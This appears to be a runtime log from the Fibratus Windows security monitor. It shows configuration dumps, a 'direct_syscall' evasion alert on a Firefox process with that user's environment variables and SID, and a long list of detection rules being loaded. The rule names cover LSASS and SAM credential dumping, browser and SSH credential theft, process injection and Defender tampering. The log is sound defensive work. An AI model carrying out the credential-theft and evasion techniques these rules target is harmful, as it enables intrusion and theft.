url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s passive=>false exchange-type=>topic routing-key=>fibratus delivery-mode=>transient] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false skip-allocs=>false skip-files=>false scan-timeout=>10s excluded-procs=>[] enabled=>false excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:04:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:04:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:04:57+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1861608 + Pid: 15208 + Tid: 3140 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:04:54.8761725 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ f6a99fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 15208, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 15208 + Ppid: 17160 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6016:48039 -prefMapHandle 5792:292918 -jsInitHandle 7764:224660 -parentBuildID 20251124145406 -ipcHandle 8792 -initialChannelId {60fa3fbb-79a0-4541-8b63-76188ad4e755} -parentPid 17160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.17160" -crashHelper 9800 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 30 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6016:48039 -prefMapHandle 5792:292918 -jsInitHandle 7764:224660 -parentBuildID 20251124145406 -ipcHandle 8792 -initialChannelId {60fa3fbb-79a0-4541-8b63-76188ad4e755} -parentPid 17160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.17160" -crashHelper 9800 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 30 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7a0bd7fc7 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff7a0ba7d8d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtQueryAttributesFile|0x7ffa18ee799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18ebb98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ebb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ee910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-12-04T16:04:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T16:05:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:05:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:06:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-04T16:06:19+01:00 level=info msg=bootstrapping with pid 3248. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:06:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false buffer-size=>512 flush-interval=>1s enable-mem=>true enable-audit-api=>true enable-threadpool=>false enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-registry=>true enable-fileio=>true enable-handle=>false enable-vamap=>true max-buffers=>36 enable-thread=>true stack-enrichment=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text level=>info max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false sniff=>false timeout=>5s healthcheck=>true trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus index-name=>fibratus] http=>[ enable-gzip=>false timeout=>5s serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic passive=>false timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false exchange=>fibratus enabled=>false vhost=>/ delivery-mode=>transient] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:06:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:06:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:06:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T16:06:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:06:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:22:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-04T16:22:33+01:00 level=info msg=bootstrapping with pid 16488. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:22:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-mem=>true enable-registry=>true enable-vamap=>true enable-threadpool=>false enable-audit-api=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true flush-interval=>1s enable-handle=>false enable-fileio=>true enable-dns=>false enable-image=>true min-buffers=>16 enable-thread=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[]] elasticsearch=>[ gzip-compression=>false trace-log=>false index-name=>fibratus healthcheck-interval=>10s timeout=>5s template-name=>fibratus sniff=>false flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ timeout=>5s vhost=>/ enabled=>false exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false exchange=>fibratus passive=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-files=>false excluded-procs=>[] excluded-files=>[] skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:22:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:22:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T16:22:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:22:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:22:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:22:43+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 